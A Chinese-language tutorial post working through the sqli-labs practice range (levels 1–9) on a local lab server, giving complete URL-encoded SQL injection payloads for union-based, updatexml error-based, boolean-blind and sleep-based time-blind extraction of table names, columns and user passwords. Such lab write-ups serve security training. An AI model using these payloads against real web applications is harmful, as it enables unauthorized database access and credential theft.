sql注入---sqli靶场

1.什么是SQL注入

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库

2.sql注入原理

攻击者注入一段包含注释符的SQL语句,将原来的语句的一部分注释,注
释掉的部分语句不会被执行

上面注入位置在‘ ’中,输入

会变成'id=1' 注入语句-- '用‘补全前面的单引号,再用--+注释掉后面包括单引号的语句确保注入语句正常运行不会报错

也可以在后面加单引号,补全单引号。rfc-1738标准中+会被空格替代

同样的注释符号还有//  /**/ 

#井号不能被识别,需要编码

3.sql注入一般步骤

 1.求闭合字符

 2.选择注入模式

 3.爆数据库名

 4.爆表明

 5.爆列名

 6.爆字段

4.靶场练习

less-1

1.求闭合字符

输入\后面是单引号

单引号报错

极有可能是单引号闭合 --+不报错

2.爆库名

order by查询列数,为3时报错,4报错,所以当前数据库3列

联表查询,查看数据库,id为-1时查询失败,允许执行后面的查询语句

3.爆表名

id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+     
//使用group_concat列出所有表名

4.爆列名

id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

5.爆字段,获取用户密码

?id=-1%27%20union%20select%201,group_concat(id,username,password),3%20from%20users--+

less-2

1.求闭合字段

/后没有符号,很有可能数字型SQL注入

单引号报错

2.爆库名

求列数3不报错,4报错

3.爆表名

4.爆列名

5.爆字段

less-3

闭合字符是单引号括号,同上

less-4

闭合字符是双引号括号,同上

less-5 报错注入

1.求闭合字段

\后是单引号

单引号报错

判断注入点 错误不显示,正确you are in

2.爆库名

判断列数

用原方法显示you are in 

使用报错注入

?id=1%27%20and%20updatexml(1,concat(0x3a,database(),0x3a),2)--+

爆表名

?id=1%27%20and%20updatexml(1,concat(0x23,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x23),1)--+

4.爆列名

?id=1%27%20and%20updatexml(1,concat(0x23,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x23),1)--+

5.爆字段

?id=1%27%20and%20updatexml(1,concat(0x23,(select%20group_concat(username,password)%20from%20users),0x23),1)--+

less-6布尔型盲注

布尔型盲注一般步骤

求闭合字符---求当前数据库名长度---求当前数据库名对应的ASCII值---求表的数量---求表名长度---求表名对应的ASCII值---求列的数量---求列名长度---求列名对应的ASCII值---求字段的数量---求字段名长度---求字段名对应的ASCII值

1.求闭合字符”

判断注入点

2.求当前数据库名长度

3.求当前数据库名ASCII值

4.求表的数量

?id=1"%20and%20(select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)=4--+

5.求表名的ASCII值

?id=1"%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%201,1),1,1))=114--+

6.求列的数量

?id=1"%20and%20(select%20count(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27)=3--+

7.求列名长度

/?id=1"%20and%20length((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1))=2--+

8.求列名ASCII值

/?id=1"%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))=105--+

9.求字段数量

?id=1"%20and%20(select%20count(id)%20from%20users)=13--+?id=1"%20and%20(select%20count(username)%20from%20users)=13--+

10.求字段内容

?id=1"%20and%20ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))=68--+

less-7

1.求闭合字符

输入\后不能找出闭合字段,尝试其他字符发现单引号报错,输入--+也报错,说明闭合字符有单引号,最终求出闭合字符是'))

2.求库名

?id=1%27))%20order%20by%203--+                           4报错列数是3

联表查询,报错注入都不行,使用布尔型盲注

步骤同6

无列名注入

通过系统关键字 join 可建立两表之间的内连接,通过对想要查询列名所在的表与其自身

?id=-1' union select * from (select * from users as a join users b)c--+

?id=-1' union select * from (select * from users as a join users b using(id))c--+

 less---9   if语句

这关错误正确都是you  are in, 需要使用if和sleep观察状态

?id=1%27%20and%20if(0,1,sleep(10))--+//如果0正确则立刻执行,否则暂停10秒
?id=1%27%20and%20if(length(database())=2,1,sleep(10))--+

      

1.求闭合字符

?id=1%27%20and%20if(1=2,1,sleep(10))--+
//当闭合字符正确时才会暂停,其余情况you  are in
//判断注入点

2.查看数据库长度

http://127.0.0.1/sqli-labs-master/Less-9/?id=1%27%20and%20if(length(database())%3E10,1,sleep(10))--+              
//暂停十秒,长度小于10
?id=1%27%20and%20if(length(database())>5,1,sleep(10))--+
//不暂停,长度大于5
/?id=1%27%20and%20if(length(database())=8,1,sleep(10))--+
长度为8

3.求数据库的ascii值

?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))>115,1,sleep(10))--+
//暂停
?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))<115,1,sleep(10))--+
//暂停
?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))=115,1,sleep(10))--+
//正确

4.求表的个数

?id=1%27%20and%20if((select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)>10,1,sleep(10))--+
//暂停
?id=1%27%20and%20if((select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)>5,1,sleep(10))--+
//暂停
?id=1%27%20and%20if((select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)=4,1,sleep(10))--+
//正确

5.求表的ascii值,求表明

?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%200,1),1,1))<100,1,sleep(10))--+
//暂停
?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%200,1),1,1))=101,1,sleep(10))--+
//正确

6.求列数

?id=1%27%20and%20if((select%20count(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27)=2,1,sleep(10))--+
//暂停
?id=1%27%20and%20if((select%20count(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27)=3,1,sleep(10))--+
//正确

7.求列名

?id=1%27%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27limit%200,1),1,1))>115,1,sleep(10))--+
//暂停
?id=1%27%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27limit%200,1),1,1))>107,1,sleep(10))--+
//暂停
?id=1%27%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27limit%200,1),1,1))=105,1,sleep(10))--+
//正确

8.求字段

?id=1%27%20and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))=67,1,sleep(10))--+
//正确

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/695638.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机网络-DHCPv6基础

前面我们学习了IPv6地址可以通过手动配置、无状态自动配置、DHCPv6配置&#xff0c;这里简单学习下DHCPv6的知识点。 一、DHCPv6概述 DHCPv6 (Dynamic Host Configuration Protocol for IPv6) 是一种网络协议&#xff0c;设计用于IPv6网络环境中自动为网络设备分配必要的配置信…

牛客热题:比较版本号

&#x1f4df;作者主页&#xff1a;慢热的陕西人 &#x1f334;专栏链接&#xff1a;力扣刷题日记 &#x1f4e3;欢迎各位大佬&#x1f44d;点赞&#x1f525;关注&#x1f693;收藏&#xff0c;&#x1f349;留言 文章目录 牛客热题&#xff1a;比较版本号题目链接方法一:暴力…

ICode国际青少年编程竞赛- Python-2级训练场-列表遍历

ICode国际青少年编程竞赛- Python-2级训练场-列表遍历 1、 for i in range(3):Flyer[i].step(2) Dev.step(6)2、 for i in range(7):Flyer[i].step() Dev.step(Item.x - Dev.x)3、 for i in range(3):Flyer[i].step(1) Dev.step(4) Dev.turnLeft() Dev.step(2) Dev.turnL…

Backend - 数据分析 Pandas

目录 一、作用 二、基础环境 &#xff08;一&#xff09;执行虚拟环境的终端命令 &#xff08;二&#xff09;代码中导包 三、应用&#xff1a;一维数组 &#xff08;一&#xff09;Series对象 1. 含义 2. 常用属性和方法 &#xff08;1&#xff09;属性 &#xff08;…

MATLAB | 最新版MATLAB绘图速查表来啦!!

之前看大佬Pjer做的MATLAB速查表 http://home.ustc.edu.cn/~pjer1316/matlabplot/ 感觉非常的实用&#xff0c;最近几次MATLAB更新围绕画图方面也有很多新东西&#xff0c;于是就有了自己做一张最新版的速查表的想法&#xff0c;这张表长这样&#xff1a; 这张表的配色基本上…

[GWCTF 2019]re3

int mprotect(void *addr, size_t len, int prot);实现内存区域的动态权限控制: addr&#xff1a;要修改保护权限的内存区域的起始地址。len&#xff1a;要修改保护权限的内存区域的长度&#xff08;以字节为单位&#xff09;。prot&#xff1a;要设置的新的保护权限&#xff…

0513student的Maven项目

0513student的Maven项目包-CSDN博客 数据库字段 主页需求 点击休学按钮&#xff0c; 实现对 ‘’是否休学‘’ ‘’休学操作‘’ 的相应修改&#xff1b; 还有对数据库中相应学生休学状态修改。

家电无缝连接的奥秘—通过酷开系统实现智能家居互联互通

智能家居是消费升级与技术升级的共同产物&#xff0c;是时代发展的必然结果&#xff0c;日渐深入人心也是大势所趋。酷开科技智慧AI&#xff0c;让智慧家居成为生活中的一部分&#xff0c;以酷开系统为中心&#xff0c;实现家庭内智能家居的连接&#xff0c;并可通过酷开系统进…

从零开始详解OpenCV车道线检测

前言 车道线检测是智能驾驶和智能交通系统中的重要组成部分&#xff0c;对于提高道路安全、交通效率和驾驶舒适性具有重要意义。在本篇文章中将介绍使用OpenCV进行车道线的检测 详解 导入包 import cv2 import matplotlib.pyplot as plt import numpy as np读入图像并灰度化…

中学生政史地杂志中学生政史地杂志社中学生政史地编辑部2024年第3期目录

每月时政 时政要闻&#xff08;2024年2月&#xff09; 李伟; 3-12 热点聚焦 关注2024年全国两会 汤健云; 13-15 积极应对老龄化&#xff0c;发展银发经济 王吉兴; 16-18《中学生政史地》投稿&#xff1a;cn7kantougao163.com “一带一路”助力柬埔寨经济发展 李…

aop获取方法运行时间

Slf4j Component Aspect//aop类 public class TimeAspect {/*Around 环绕通知 用ProceedingJoinPoint Before 前置通知 用JoinPoint&#xff08;是ProceedingJoinPoint的父类型&#xff09;&#xff0c;用它可以获得方法执行的相关信息&#xff0c;如目标类名&#xff0c;方法…

WordPress 管理员密码重置方法汇总

最近明月碰到一个 WordPress 站长求助咨询&#xff0c;说是自己 WordPress 站点的管理员密码被恶意篡改了&#xff0c;对 WordPress 了解的都知道这一般都是恶意代码造成的&#xff0c;问题大多出在使用了所谓的破解版、去授权版的插件或者主题被植入了恶意代码、后门木马。明月…